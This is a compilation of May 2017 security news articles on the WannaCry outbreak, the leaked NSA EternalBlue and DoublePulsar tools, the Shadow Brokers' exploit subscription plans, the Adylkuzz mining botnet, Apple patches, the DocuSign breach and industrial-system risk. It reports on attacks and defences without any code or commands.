It appears that the NSA breach has accelerated the process. Instead of having to develop their own zero-day attacks, the criminals have used of an arsenal developed by experts at developing cyber-weapons.

The U.S. government clearly had its priorities wrong. Whether or not you think the U.S. government should be spending a fortune developing such cyber-weapons, surely it is obvious that the weapons they develop should be properly secured. If someone had lost a nuclear weapon, heads would have rolled. The CIA and NSA have been breached on a massive scale, and now the effects are being felt. What is going to be done to stop further leaks?”


People the New Perimeter as Hackers Target Users to Infiltrate Enterprises

17.5.2017 securityweek Hacking
Identity Governance is Key to Improving Security and Compliance

Getting breached is becoming part of doing business. More than half of respondents to a Market Pulse Survey reported that they had suffered two or more breaches during 2016; and 60% expect to be breached in 2017. The average material cost of each breach now stands at more than $4 million.

Identity firm SailPoint commissioned Vanson Bourne to interview 600 senior IT decision-makers at organizations with at least 1,000 employees across Australia, France, Germany, Italy, the United Kingdom and the United States. The key finding is that a lack of visibility into staff actions and access capabilities remains a major problem.

SailPoint was founded in 2005. In 2014, private equity firm Thoma Bravo took a sizeable stake in the company -- thought to be in excess of 'several hundred million'. In February 2017, the Wall Street Journal suggested that SailPoint is currently "laying the groundwork for a possible IPO filing later this year."

While the majority of respondents to the Market Pulse Survey claim to have at least partial visibility into users' access to corporate systems and applications, less than half have full visibility.

Complicating factors continue to be cloud (shadow IT) and mobility (BYOD). Ninety percent of respondents admitted that at least some of their employees procure and use applications without IT or Security oversight or approval. Coupled with the growing use of personal mobile devices, many organizations struggle to know where and by whom their data is being used.

Seventy percent of organizations have embraced BYOD; but less than half have a formal policy around its use for corporate data. The result is a lack of visibility into the whereabouts and indeed content of unstructured data. This exacerbates industry's two biggest problems: hackers' exploitation of identity to effect, maintain and expand their incursions; and compliance.

People are the new perimeter, suggests SailPoint. "But even as it's widespread knowledge that hackers are targeting users as their doorway into the enterprise, employees aren't helping matters with continued poor password hygiene. 37% of respondents," explains the report, "cited password hygiene as a big factor into their organization's overall risk profile -- with employees either sharing passwords across multiple accounts and systems, not regularly updating or changing their password or not adhering to overall password management policies."

Compliance issues are also growing. The European General Data Protection Regulation (GDPR) requires that companies don't simply protect European PII, but know precisely where it is located. The latter is necessary because GDPR gives EU citizens the right to have their PII removed from organizations' systems -- and that cannot be achieved if the organization doesn't know where it is located (for example, in unstructured data located on staff mobile devices or in shadow IT cloud storage systems).

The survey shows that this concern is particularly strong in Europe, even though the Regulation will apply to any business anywhere in the world that does business with the EU. "Specific to European respondents," notes the report, "compliance bubbled to the top for some regions as a key goal and driver behind identity governance programs." Nearly threequarters (73%) of UK respondents, and nearly half of German (42%) and French (49%) respondents cited compliance as a reason for improving identity governance.

"There is a silver lining to our report," commented Kevin Cunningham, SailPoint's president and co-founder. "It's clear that now more than ever before, organizations better understand what -- and where -- their risks are, and that identity management can help address those risks. Identity provides that ability to put the detective and preventive controls in place to address all of these exposure points, while automating many identity-related processes to ensure that only the right people have the right access to applications and data at the right time.

He continued, "By putting identity at the center of security and IT operations, these organizations can move their IT teams out of full-time firefighting mode, freeing them up to focus on enabling the business to move forward, confidently and securely."

According to the survey, identity governance is recognized by 97% of respondents as a key solution to these problems; and 55% cite identity as a top security investment priority for 2017. Other benefits are considered to be enhanced security (72% of respondents), a more automated and efficient organization (71%), and business enablement (65%).


Shadow Brokers Promise More Exploits for Monthly Fee

17.5.2017 securityweek BigBrothers
The hacker group calling itself Shadow Brokers claims to possess even more exploits stolen from the NSA-linked Equation Group, and anyone can have them by paying a monthly “membership” fee.

The Shadow Brokers have been in the news over the past days after unknown threat actors leveraged two of the exploits they leaked to deliver WannaCry ransomware to hundreds of thousands of systems worldwide.

The attackers have used an exploit called EternalBlue, which leverages an SMB vulnerability in Windows, to distribute the ransomware without user interaction. Microsoft patched the flaw in March and over the weekend it made available fixes even for outdated versions of Windows.

Some people blamed Shadow Brokers for the devastating WannaCry attacks, arguing that the ransomware could not have spread so easily without the exploits they leaked. Others believe the existence of the vulnerability would have come to light at some point even without them leaking the exploit.

The Shadow Brokers insist that their main goal is to make money and to demonstrate that they are a “worthy opponent” of the Equation Group.

The hackers claimed Microsoft postponed its February security updates to address the EternalBlue and other Eternal exploits. However, they pointed out that they had waited for 30 days after Microsoft rolled out the fixes before releasing the exploits.

The WannaCry attacks led to Microsoft president and chief legal officer Brad Smith renewing his call for governments to stop stockpiling vulnerabilities and disclose them to affected vendors.

Shadow Brokers, however, claims the NSA and Microsoft are “BFFs,” with contracts of “millions or billions of USD each year.” Their other conspiracy theories include an agreement between the NSA and Microsoft over not patching vulnerabilities until they are publicly disclosed, and Microsoft fixing the recent SMB flaw in secret after the NSA lied about the exploits it had been using.

Shadow Brokers claims to possess much more data and exploits, and in June the group plans on launching a subscription-based “service.”

According to the hackers, people willing to pay a monthly fee will receive exploits for browsers, routers, mobile devices, and Windows (including Windows 10). The offer also includes SWIFT network data and information on Russian, Chinese, Iranian and North Korean nuclear and missile programs.

Judging by the group’s previous offers to sell the data for thousands and even tens of thousands of bitcoins, the membership fee will likely not be small.

However, if someone offers to buy the remaining exploits and data from the Shadow Brokers, the group said it will go dark permanently as it will no longer have any financial incentive to continue taking risks.

In January, after failed attempts to make money via auctions, crowdfunding and direct sales, Shadow Brokers announced that it was retiring. With the renewed interest in the exploits it possesses, the group has apparently come up with yet another strategy for making a profit.


NSA's EternalBlue Exploit Fully Ported to Metasploit

17.5.2017 securityweek BigBrothers
The National Security Agency (NSA)-linked EternalBlue exploit that became well known after being used in a recent global ransomware campaign has been ported to the popular Metasploit penetration testing Framework.

Along with DoublePulsar, EternalBlue is one of the latest exploits publicly released by the hackers calling themselves “The Shadow Brokers” and is said to have been used by the NSA-linked Equation Group to launch cyber-attacks. When EternalBlue was made public, however, the flaw had been already addressed by Microsoft in their March security patches.

Abusing a vulnerability in Windows’ Server Message Block (SMB) on port 445, EternalBlue allowed the WannaCry ransomware to spread like a worm and hit over 200,000 machines within a few days only. Before WannaCry, however, a crypto-currency mining botnet dubbed Adylkuzz had been using the same exploit to compromise devices.

Researchers currently estimate there to be roughly one million computers Internet-acessible systems vulnerable to EternalBlue, but chances are that many more existed only a couple of days ago. Not only did Microsoft issue an emergency patch to protect older systems over the weekend, but the Adylkuzz botnet also blocks access to SMB after infection, to prevent other malware from exploiting the vulnerability.

Because malicious actors are already using EternalBlue in live attacks, researchers decided to add the exploit to the open source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. The framework is a sub-project of the penetration testing project Metasploit, which is a collaboration of the open source community and Rapid7.

The vulnerability exploited by EternalBlue is in SMBv1, but the exploit uses SMBv2 for the shellcode, one of the researchers behind the port, who goes by the online handle of zerosum0x0, explains. The penetration tester also notes that the code is still a little rough, but that more work will be done to it.

“The genie is already out of the bottle with EternalBlue. Let's keep in mind it's probably easier to rebundle the EternalBlue.exe than it is to pull in Ruby and Metasploit. Also, the original exploit still targets more versions. Just patch your systems people, it really isn't that hard. White hats need this exploit (instead of sketchy NSA malware) to show its impact to clients,” the researcher says.

The researchers also notes that FuzzBunch (NSA’s exploitation framework similar to Metasploit) makes the attack point and click, and that cybercriminals already have worms abusing it. The addition of EternalBlue to Metasploit should prove of great help to the infosec community, zerosum0x0 explains.

“I look at it this way, attackers and defenders are in an asymmetric war. If study is not done to the tools that are available to attackers, it is impossible to defend against them,” the researcher says.

Catalin Cosoi, Chief Security Strategist at Bitdefender, already expressed fears that EternalBlue-powered ransomware is bound to become the norm. Because many organizations failed to patch their systems in a timely manner, “it was only a matter of time until a cybercriminal group would weaponize the leaked vulnerability and strike at unpatched Windows systems,” he said.

“Computers in public institutions, hospitals and other care facilities are usually rarely updated. If they are not hit by ransomware now, these computers are vulnerable for state sponsored attacks for as long as they remain unpatched. Ransomware is the best case scenario now, because it’s visible. But complex threats can be built on it, to stay persistent and infiltrate organizations for a very long time,” Cosoi added.

One major difference between the Metasploit port of EternalBlue and the recent WannaCry and Adylkuzz attacks is the use of DoublePulsar. Instead of the NSA backdoor, the open source project stages Meterpreter userland payloads directly from the kernel through a queued APC. A shellcode that uses a similar technique as DoublePulsar's DLL injection is used, but is much smaller in size (up to 1000 bytes, depending on options enabled, compared to the 5000 bytes the NSA code has).

“This exploit also demonstrates what is important in the exploit for IDS/IPS/firewall rule makers. By finding out everything that can be nulled out, it evades many rules which were not fully considered, however those vendors can now add proper rules before an "0-day" worm version of it comes out,” zerosum0x0 points out.


Cyber Kid Stuns Experts Showing Toys Can be 'Weapons'

17.5.2017 securityweek Cyber
An 11-year-old "cyber ninja" stunned an audience of security experts Tuesday by hacking into their bluetooth devices to manipulate a teddy bear and show how interconnected smart toys "can be weaponized".

American wunderkind Reuben Paul, may be still only in 6th grade at his school in Austin, Texas, but he and his teddy bear Bob wowed hundreds at a timely cyber security conference in The Netherlands.

"From airplanes to automobiles, from smart phones to smart homes, anything or any toy can be part of the" Internet of Things (IOT)," he said, a small figure pacing the huge stage at the World Forum in The Hague.

"From terminators to teddy bears, anything or any toy can be weaponised."

To demonstrate, he deployed his cuddly bear, which connects to the icloud via wifi and bluetooth smart technology to receive and transmit messages.

Plugging into his laptop a rogue device known as a "raspberry pi" -- a small credit card size computer -- Reuben scanned the hall for available bluetooth devices, and to everyone's amazement including his own suddenly downloaded dozens of numbers including some of top officials.

Then using a computer language programme, called Python, he hacked into his bear via one of the numbers to turn on one of its lights and record a message from the audience.

"Most internet-connected things have a blue-tooth functionality ... I basically showed how I could connect to it, and send commands to it, by recording audio and playing the light," he told AFP later.

"IOT home appliances, things that can be used in our everyday lives, our cars, lights refrigerators, everything like this that is connected can be used and weaponised to spy on us or harm us."

They can be used to steal private information such as passwords, as remote surveillance to spy on kids, or employ a GPS to find out where a person is.

More chillingly, a toy could say "meet me at this location and I will pick you up," Reuben said.

- 'Timebombs' -

His father, information technology expert Mano Paul, told how aged about six Reuben had revealed his early IT skills correcting him during a business call.

Using a simple explanation from dad on how one smart phone game worked, Reuben then figured out it was the same kind of algorithm behind the popular video game Angry Birds.

"He has always surprised us. Every moment when we teach him something he's usually the one who ends up teaching us," Mano Paul told AFP.

But Paul said he been "shocked" by the vulnerabilities discovered in kids toys, after Reuben first hacked a toy car, before moving onto more complicated things.

"It means that my kids are playing with timebombs, that over time somebody who is bad or malicious can exploit."

Now the family has helped Reuben, who is also the youngest American to have become a Shaolin Kung Fu black belt, to set up his CyberShaolin non-profit organisation.

Its aim is "to inform kids and adults about the dangers of cyber insecurity," Reuben said, adding he also wants to press home the message that manufacturers, security researchers and the government have to work together.

Reuben also has ambitious plans for the future, aiming to study cyber security at either CalTech or MIT universities and then use his skills for good.

Failing that maybe he could become an Olympian in gymnastics -- another sport he excels in.


Corvil Launches Automated Security Tool for Financial Exchanges

17.5.2017 securityweek Security
Financial services (finserv) is one of America's defined critical infrastructure sectors. The DHS summarizes, "The Financial Services Sector represents a vital component of our nation's critical infrastructure. Large-scale power outages, recent natural disasters, and an increase in the number and sophistication of cyberattacks demonstrate the wide range of potential risks facing the sector."

One specialized sub-section of finserv is the trading floor, which is increasingly automated. Traders deal in many billions of dollars every day, with buy or sell decisions often based on algorithms monitoring market conditions. The integrity of the trading floor -- its systems and its algorithms -- needs to be protected and validated. The consequences could be dire.

In October 2016, the value of sterling fell by 8% overnight. In this instance it was thought to be caused by an algorithm triggered by a negative comment from the French president following the UK's Brexit vote -- but it should not have happened.

This crash was caused by false logic in an algorithm -- but it could equally be caused by malicious manipulation. Guarding against such occurrences in many of the world's leading trading floors is Corvil, a Dublin-based security firm that uses algorithms to monitor and protect trading activity.

But while trading networks have Corvil security analyzing trading patterns, they have very little traditional security software. Their problem is similar to that affecting OT networks and ICS -- the priority is maintaining operation rather than adding new security overheads. For trading floors, the absolute priority is performance and minimal trading latency -- speed is the trader's primary advantage over competitors.

Nevertheless, financial exchanges are becoming increasingly concerned about their cyber security. Last month, a sys admin with KCG, a global American securities trading firm, was arrested and accused of creating malware to steal valuable source code and encryption keys that gave him direct access to the data files that are the core of the company’s business. He was detected because he attempted to log into an analyst's desktop at the same time as the analyst also attempted to do so -- on a Saturday. His discovery was serendipitous; but he had already been exfiltrating data undetected for four months.

It is this known difficulty for the IT-centric CISO to see into the workings of the OT-centric trading network that is causing increasing concern in financial exchange organizations. A survey among members of the International Organization of Securities Commissions (IOSCO), Corvil's director of product management Graham Ahearne told SecurityWeek, highlighted particular concern over "over financial and reputational impact; halting trading activity; ongoing disruption of the market and integrity compromise that might lower confidence in and the reputation of financial actors; the infiltration of multiple exchanges using a range of different types of cyber-attack techniques in tandem; data manipulation and compromise of data integrity; and the leaking of insider information on an ongoing basis…" In other words, all the security concerns of IT networks without any of their security controls.

Corvil already provides a streaming analytics platform to most of the world's trading floors. It captures, decodes, and learns from network data on the fly. It detects anomalous trading behavior as it happens -- but what it doesn't do is detect the anomalous network behavior that might indicate the presence of a cyber intruder.

Today, Corvil has announced the new Corvil Virtual Security Expert, called Cara -- a new tool that "acts as a virtual security expert that autonomously identifies vulnerabilities and possible attacks within the trading environments that often process trillions of dollars' worth of transactions daily," says Corvil. It operates on the existing Corvil platform and adds zero overhead to existing network speeds. It is largely just a different set of algorithms interpreting the existing data streams in a different way.

"Cara," explains Ahearne, "is a software module that sits dormant on the existing network while the market is open. It can sit on any Corvil appliance, which is already installed on the majority of financial exchange trading networks throughout the globe. Because it is dormant, it adds zero overhead to the operation of the trading network. But as soon as the market closes it activates automatically and replays the whole day's traffic captured during the day. It runs multi-dimensional security analytics that detect patterns of compromise, and pinpoints the most important issues for investigation."

Cara uses machine learning algorithms to look for known attack techniques, exploit patterns, unusual data movements etc; and presents a summary report of its findings in an email delivered to security stakeholders overnight. The reports are designed to be accessible to non-technical senior management, yet provide enough information for the security team to know exactly where to look for potential problems. "The purpose," explained Ahearne, "is to both automate anomaly analysis and reduce the customer's need for highly technical staff." It would, in fact, have detected the exfiltration of KCG data automatically.

Cara, comments Dan Cummins, a senior analyst at 451 Research, "gives security teams a relatively quick way to extend automated risk assessments, which combine machine-learning anomaly detection and threat detection analytics, to electronic trading networks."

The approach Corvil has taken provides zero overhead security to what is in effect an OT network. This is a perennial problem for many companies with OT; and provides a long-term expansion path for Corvil. "We have seen the parallels," Ahearne told SecurityWeek, "and it is a possible future expansion. But for now, we are focused on solving the cyber security problems of trading floors with our Virtual Security Expert."


Botnet Spread via NSA Hacking Tools for Weeks

17.5.2017 securityweek  BotNet
The ransomware attack that stormed the world over the past several days wasn’t the first to leverage the leaked EternalBlue/DoublePulsar NSA hacking tools for distribution, Proofpoint researchers have discovered.

WannaCry might have gained everyone’s attention because of its destructive potential, but credit to being the first to use the EternalBlue exploit abusing a Server Message Block (SMB) vulnerability on TCP port 445 should go to the cryptocurrency miner Adylkuzz, Proofpoint says.

Similar to WannaCry, the attack leverages the EternalBlue exploit to rapidly propagate from machine to machine, along with the NSA backdoor called DoublePulsar which is used to install a malicious payload on compromised machines.

Symptoms of infection, however, aren’t as visible as with WannaCry: loss of access to shared Windows resources and degradation of PC and server performance. What’s more, the malicious code also shuts down SMB networking to prevent infections with other malware.

According to ProofPoint security researcher Kafeine, this attack might have been much larger than the ransomware outbreak. Furthermore, Kafeine suggests that, because Adylkuzz specifically patched the vulnerability targeted by WannaCry, it might have limited the latter’s infection.

What is certain, however, is that “the Adylkuzz campaign significantly predates the WannaCry attack, beginning at least on May 2 and possibly as early as April 24.” Kafeine also notes that the infection is ongoing and is potentially quite disruptive, although not as flashy as the ransomware rampage.

The Adylkuzz attack is launched from several virtual private servers. EternalBlue is abused for compromise, then the DoublePulsar backdoor is installed to download and run Adylkuzz from another host. Once up and running, the cryptocurrency miner first stops any potential instances of itself and blocks SMB communication to avoid further infection.

Next, the malware determines the public IP address of the victim and then downloads the mining instructions, the cryptominer, and cleanup tools. As it turns out, the cryptominer binaries and mining instructions are hosted on multiple command and control (C&C) servers at the same time.

As part of this attack, Adylkuzz is mining for Monero, a cryptocurrency that saw a surge in activity after the AlphaBay darknet market adopted it last year: BondNet, a Monero-mining botnet that has been active since December 2016, was detailed recently, the Sundown exploit kit was previously dropping a Monero miner, and a Go-based miner was seen last year targeting Linux systems.

Unlike Bitcoin, which now generally requires dedicated, high-performance machines, the Monero mining process can be easily distributed across a botnet, Kafeine explains.

Mining payments associated with an Adylkuzz address suggests the attacks started on April 24. On May 11, the actor supposedly switched to a new mining user address, to avoid having too many Moneros paid to a single address. Three observed addresses received around $43,000 in payments, the researcher says.

“We have currently identified over 20 hosts set up to scan and attack, and are aware of more than a dozen active Adylkuzz C&C servers. We also expect that there are many more Monero mining payment addresses and Adylkuzz C&C servers associated with this activity,” Kafeine notes.

The SMB vulnerability that both WannaCry and Adylkuzz abuse has been addressed by Microsoft in March 2017, and also resolved on unsupported platforms via an emergency patch released over the weekend. Installing these patches should prevent the malware from spreading further.

In the meantime, security researchers apparently linked the WannaCry attacks to the North Korea-linked hacking group Lazarus and suggest that more attacks might follow. Although the attacks have slowed down significantly as of Monday, even industrial systems might be at risk, experts warn.

In the light of these attacks, installing the latest Windows patches might have never been a better course of action.

“For organizations running legacy versions of Windows or who have not implemented the SMB patch that Microsoft released last month, PCs and servers will remain vulnerable to this type of attack. Whether they involve ransomware, cryptocurrency miners, or any other type of malware, these attacks are potentially quite disruptive and costly. Two major campaigns have now employed the attack tools and vulnerability; we expect others will follow and recommend that organizations and individuals patch their machines as soon as possible,” Kafeine says.


Weeks Before WannaCry, Cryptocurrency Mining Botnet Was Using Windows SMB Exploit
17.5.2017 thehackernews  Ransomware
A security researcher has just discovered a stealthy cryptocurrency-mining malware that was also using Windows SMB vulnerability at least two weeks before the outbreak of WannaCry ransomware attacks.
According to Kafeine, a security researcher at Proofpoint, another group of cyber criminals was using the same EternalBlue exploit, created by the NSA and dumped last month by the Shadow Brokers, to infect hundreds of thousands of computers worldwide with a cryptocurrency mining malware called 'Adylkuzz.'
This malicious campaign went unnoticed for weeks because unlike WannaCry, this malware does not install ransomware or notify victims, but instead, it quietly infects unpatched computers with malware that only mine 'Monero,' a Bitcoin-like cryptocurrency.
This Malware Saves Computers From Getting Hacked By WannaCry
The Researcher believes Adylkuzz malware attack could be larger in scale than WannaCry ransomware attack because it has been designed to block SMB ports of a targeted computer after hijacking it.
In other words, Adylkuzz malware infects unpatched computers and then closes SMB ports to prevent them from further infections, which may have indirectly saved hundreds of thousand of computers from getting hacked by WannaCry ransomware as well.
Mining cryptocurrencies can be a costly investment as it requires an enormous amount of computing power, but the Adylkuzz cryptocurrency-mining malware makes it easier for cybercriminals by allowing them to utilize computing resources of compromised systems and makes lots and lots of dollars.
"Once infected through use of the EternalBlue exploit, the cryptocurrency miner Adylkuzz is installed and used to generate cybercash for the attackers," said Robert Holmes, vice president of products at Proofpoint.
One Monero is currently valued at around US$26.77.
"While an individual laptop may generate only a few dollars per week, collectively the network of compromised computers appears to be generating five-figure payouts daily," the researchers added.
According to Proofpoint, tens of thousands of computers across the world have been infected by the Adylkuzz malware.
Despite people's efforts to patch their systems to prevent themselves from the WannaCry menace, Proofpoint believes the Adylkuzz attack is still growing and targeting Windows machines.
Last week, in a separate research, GuardiCore researchers uncovered a new botnet malware, dubbed BondNet, that was also infecting Windows machines worldwide, with a combination of techniques, for mining cryptocurrencies — primarily Monero, but also ByteCoin, RieCoin, and ZCash.
If this isn't enough, you'll find yourself worry after knowing that the hacking group, Shadow Brokers, who last month leaked the Windows SMB exploit, is back, promising to release more zero-days vulnerabilities and exploits starting from June.
So, the best key to keeping yourself safe is that instead of worrying about your devices, just patch them with the latest updates and follow some basic security tips that I have mentioned in my previous article about how to disable SMB and prevent your machines from WannaCry, cryptocurrency mining malware, and other malware.


Shadow Brokers, Who Leaked WannaCry SMB Exploit, Are Back With More 0-Days
16.5.2017 thehackernews BigBrothers
The infamous hacking collective Shadow Brokers – the one who leaked the Windows SMB exploit in public that led to last weekend's WannaCrypt menace – are back, this time, to cause more damage.
In typically broken English, the Shadow Brokers published a fresh statement (with full of frustration) a few hours ago, promising to release more zero-day bugs and exploits for various desktop and mobile platforms starting from June 2017.
However, this time the Shadow Brokers leaks will not be available for everybody, as the hacking collective said:
"TheShadowBrokers is launching new monthly subscription model. Is being like [the] wine of month club. Each month peoples can be paying membership fee, then getting members only data dump each month."
Get Ready for the 'Wine of Month Club'
So, anyone buying the membership of the "wine of month club" would be able to get exclusive access to the upcoming leaks, which the Shadow Brokers claims would include:
Exploits for web browsers, routers, and smartphones.
Exploits for operating systems, including Windows 10.
Compromised data from banks and Swift providers.
Stolen network information from Russian, Chinese, Iranian, and North Korean nuclear missile programs.
The claims made by the group remain unverified at the time of writing, but since the Shadow Brokers' previously released data dump turned out to be legitimate, the group's statement should be taken seriously, at least now, when we know the EternalBlue exploit and DoublePulsar backdoor developed by the NSA and released by the Shadow Brokers last month was used by WannaCry to cause chaos worldwide.
Before publicly dumping these exploits in April, the Shadow Brokers put an auction of cyber weapons stolen from NSA’s elite hacking team called Equation Group for 1 Million Bitcoin.
After failed auction, the hacking group even put up those hacking tools and exploits for direct sale on an underground site, categorizing them into a type — like "exploits," "Trojans," and "implant" — each of which ranged from 1 to 100 Bitcoins (from $780 to $78,000).
After failure from all sides, the group started leaking those hacking exploits. Last month, the Shadow Brokers released a Microsoft Windows SMB exploit that was used by the WannaCry ransomware, which infected 200,000 machines in 150 countries within just 48 hours.
While talking about the WannaCry ties with North Korean state-sponsored hacking group Lazarus Group, the group said:
"The Oracle is telling theshadowbrokers North Korea is being responsible for the global cyber attack Wanna Cry. Nukes and cyber attacks, America has to go to war, no other choices!"
Shadow Brokers Lashed out on US Government and Tech Companies
In its recent post, the Shadow Brokers criticized both the US government and tech companies, such as Microsoft, for not cracking down on the exploits when they had the chance, months before their release.
The hacking group said the US government is paying tech companies not to patch zero-days in their products, claiming that it has spies inside Microsoft among other US tech firms.
The Shadow Brokers even accused Google Project Zero team, saying:
"TheShadowBrokers is thinking Google Project Zero is having some former TheEquationGroup member. Project Zero recently releasing "Wormable Zero-Day" Microsoft patching in record time, knowing it was coming? Coincidence?"
Who knows if these accusation made by the Shadow Brokers group are true or not, but the world should be well prepared for another WannaCry-like massive destroyer.


Apple Releases Dozens of Security Patches for Everything
16.5.2017 thehackernews Apple
While Windows users are currently in fear of getting their systems hijacked by the WannaCry ransomware outbreak, Apple users are sitting relaxed, thinking that malware attacks are something that happens to Windows users, and not Apple.
But you are mistaken – Apple products are also not immune to the hack attacks and malware infections, as an ebook can hack your Mac, iPhone, and iPad.
Apple on Monday pushed out software updates for iOS, macOS, Safari, tvOS, iCloud, iTunes, and watchOS to fix a total of 67 unique security vulnerabilities, many of which allows attackers to perform remote code execution on an affected system.
iOS is 10.3.2 for iPhone, iPad, and iPod
Apple's mobile operating system iOS 10.3.2 for the iPhone, iPad and iPod touch addresses 41 security flaws, 23 of which resides in WebKit, including 17 remote code execution and 5 cross-site scripting (XSS) vulnerabilities.
Besides this, iOS 10.3.2 also addresses a pair of flaws in iBooks for iOS (CVE-2017-2497, CVE-2017-6981) that could allow e-books to open arbitrary websites and execute malicious code with root privileges.
Other flaws addressed in iOS 10.3.2 include a memory corruption issue in AVE Video Encoder that could allow a malicious application to gain kernel-level privileges, and a certificate validation issue in the certificate trust policy for handling of untrusted certificates.
Apple users can install iOS 10.3.2 by connecting their iOS devices to iTunes or downloading it directly by going to the Settings → General → Software Update.
macOS Sierra 10.12.5 for El Capitan and Yosemite
Apple's Mac operating system macOS Sierra 10.12.5 addresses a total of 37 vulnerabilities, including a pair of bugs in iBook that allow the execution of arbitrary code with root privileges, and a separate bug in iBook that allows an application to escape its secure sandbox.
Other flaws addressed in macOS Sierra 10.12.5 include a Wi-Fi networking issue that allows the theft of network credentials, elevation of privilege bugs in both the Intel and Nvidia graphics drivers, and four different arbitrary code execution flaws in SQLite.
Mac users can download the update through the App Store → Updates. Alternatively, macOS Sierra users can be download Sierra 10.12.5 as a stand-alone update, OS X El Capitan users can download the update here, and OS X Yosemite users can get the security update here.
Safari 10.1.1 for Apple Browser
Safari 10.1.1 addresses a total of 26 security issues, 23 of which resides in WebKit, many of which are also patched in the iOS 10.3.2.
Rest three vulnerabilities are patched in the Safari browser itself.
The Safari 10.1.1 update can be downloaded by going to the App Store → Updates on El Capitan and Yosemite systems.
watchOS 3.2.2 for Apple Watch
Apple Watch users should install watchOS 3.2.2 that patches a total of 12 security vulnerabilities, four of which could be used by attackers to execute remote code execution on the affected device.
Users of Apple Watch can download watchOS 3.2.2 by connecting their watch to its charger, and opening the Apple Watch app → My Watch tab → General → Software Update on their iPhone.
tvOS 10.2.1 for Apple TV
Apple has also released tvOS 10.2.1 to patch a total of 23 vulnerabilities, 12 of which resides in WebKit engine that could allow an attacker to perform cross-site scripting and remote code execution attacks on a target device.
The tvOS 10.2.1 update can be downloaded directly from the Apple TV by going to Settings → System → Update Software.
iTunes 12.6.1 for Windows and iCloud for Windows 6.2.1
Meanwhile, Apple also released patches for Windows users using iTunes and iCloud. Both iTunes 12.6.1 and iCloud 6.2.1 patches a single remote code execution bug in WebKit for Windows 7 and later.
Apple users are recommended to update all their operating systems for Apple products and Safari as soon as possible before cyber criminals exploited them. Patches are available through automatic updates.


Data Stolen in DocuSign Breach Used for Email Attacks

16.5.2017 securityweek Incindent
Electronic signature technology provider DocuSign informed customers on Monday that they may receive malicious emails after cybercriminals managed to steal email addresses from one of its servers.

DocuSign recently issued a couple of malicious email campaign alerts to warn users of fake emails set up to deliver malware via macro-enabled Word documents.

The fake messages appeared to come from addresses such as dse@docus.com and dse@docusgn.com, and they carried the subject line “Completed: [domain name] – Wire transfer for recipient-name Document Ready for Signature” and “Completed [domain name/email address] – Accounting Invoice [Number] Document Ready for Signature.”

On Monday, DocuSign admitted that the spike in malicious emails was the result of a security breach. According to the company, hackers breached a “non-core system” designed for sending service-related email announcements to users.

The firm said the attackers only accessed email addresses; there was no evidence that names, physical addresses, passwords, social security numbers, payment card data or other information had been compromised.

“No content or any customer documents sent through DocuSign’s eSignature system was accessed; and DocuSign’s core eSignature service, envelopes and customer documents and data remain secure,” DocuSign stated.

The company said it locked the attackers out of its systems and rolled out additional security controls. Law enforcement agencies have been notified of the incident.

DocuSign-themed spam campaigns are not uncommon, but having a list of email addresses that are known to belong to the company’s customers increases the likelihood of recipients opening the malicious emails.

DocuSign has advised users to be wary of these malicious emails and forward any suspicious messages to spam@docusign.com.

“[The emails] may appear suspicious because you don’t recognize the sender, weren’t expecting a document to sign, contain misspellings (like ‘docusgn.com’ without an ‘i’ or @docus.com), contain an attachment, or direct you to a link that starts with anything other than docusign.com or docusign.net,” DocuSign said.


Industrial Systems at Risk of WannaCry Ransomware Attacks

16.5.2017 securityweek Ransomware
WannaCry ransomware ransom screen

Experts and vendors have warned that industrial control systems (ICS) are also at risk of being compromised in WannaCry ransomware attacks.

The WannaCry ransomware, also known as Wanna Decryptor, WanaCrypt0r, WannaCrypt, Wana Decrypt0r and WCry, has infected more than 200,000 systems worldwide, including ones housed by banks, hospitals, ISPs, government agencies, transportation companies and manufacturing plants.

While the campaign has helped the attackers make more than $50,000 in just a few days, not everyone is convinced that profit-driven cybercriminals are behind the operation, with some suggesting that it could be the work of a nation-state actor.

The attacks involved an exploit named EternalBlue and a backdoor dubbed DoublePulsar, both leaked recently by a hacker group calling itself Shadow Brokers. The exploits were allegedly used by a threat actor called the Equation Group, which has been linked to the NSA.

The EternalBlue exploit leverages a Server Message Block (SMB) vulnerability in Windows that can be exploited remotely without user interaction, which is the main reason why the ransomware managed to wreak havoc.

The flaw was patched by Microsoft in March and the tech giant has even made available fixes for outdated versions of Windows. However, many organizations have not installed the patches and the situation is even more complicated in the case of industrial systems.

An advisory published by ICS-CERT on Monday informs users that automation giants Rockwell Automation and Schneider Electric have provided recommendations on how customers can prevent attacks. This includes installing Microsoft’s patches, updating security software, creating backups, training employees, and configuring access controls to block unauthorized access to sensitive systems.

ICS-CERT also referenced an advisory published by medical technology firm BD (Becton, Dickinson and Company), which issued a warning after the WannaCry attacks affected many healthcare facilities.

ICS security firm Claroty pointed out that the ransomware has already hit Windows systems running ICS software, causing failures that impacted production. Some of the affected manufacturing companies decided to halt production due to concerns for personal safety and potential damage to expensive assets.

The company believes industrial environments are particularly susceptible to these types of attacks for several reasons, including the improper segmentation of IT and OT networks, unpatched Windows machines, and the presence of SMB on devices hosting HMIs, engineering workstations, historians and other systems.

Another problem highlighted by Claroty is related to WannaCry’s kill switch. This kill switch involves a non-existent domain name that the malware contacts before initiating its malicious routine. If the domain does exist, the malware terminates – this has allowed the security community to neutralize some variants of the threat by registering the domain names specified in the malware code.

This discovery may have prevented many computers from becoming infected, but industrial systems are typically not connected to the public Internet, which makes the kill switch useless, Claroty said.

While patching Windows machines is the best way to prevent attacks, Barak Perelman, CEO of industrial cyber security company Indegy, noted that this is not an option in many industrial environments as these systems often need to operate non-stop and they cannot be restarted. Another problem is that deploying security patches could have a negative impact on the stability and availability of a system.

Phil Neray, VP of Industrial Cybersecurity at CyberX, also believes that patching the vulnerability is not easy in the case of ICS.

“It's worth noting that many of the SCADA applications embedded in our electrical grid and manufacturing plants were developed years ago and are tethered to older versions of Windows -- so the fix isn't going to be easy,” Neray said.

“In the meantime, we should treat this attack as a persistent threat and continuously monitor both IT and OT networks for unusual activity. After all, how do we know that the same vulnerabilities haven't already been well-exploited for cyber-reconnaissance and cyber-espionage purposes? Or, that this isn't just the first phase of a more elaborate targeted campaign with the goal of causing massive disruption to our critical infrastructure and our economies?” the expert added.


Seoul Cyber Experts Warn of More Attacks as North Blamed

16.5.2017 securityweek Cyber
More cyberattacks could be in the pipeline after the global havoc caused by the Wannacry ransomware, South Korean cybersecurity experts warned Tuesday as fingers pointed at the North.

More than 200,000 computers in 150 countries were hit by the ransomware attack, described as the largest ever of its kind, over the weekend.

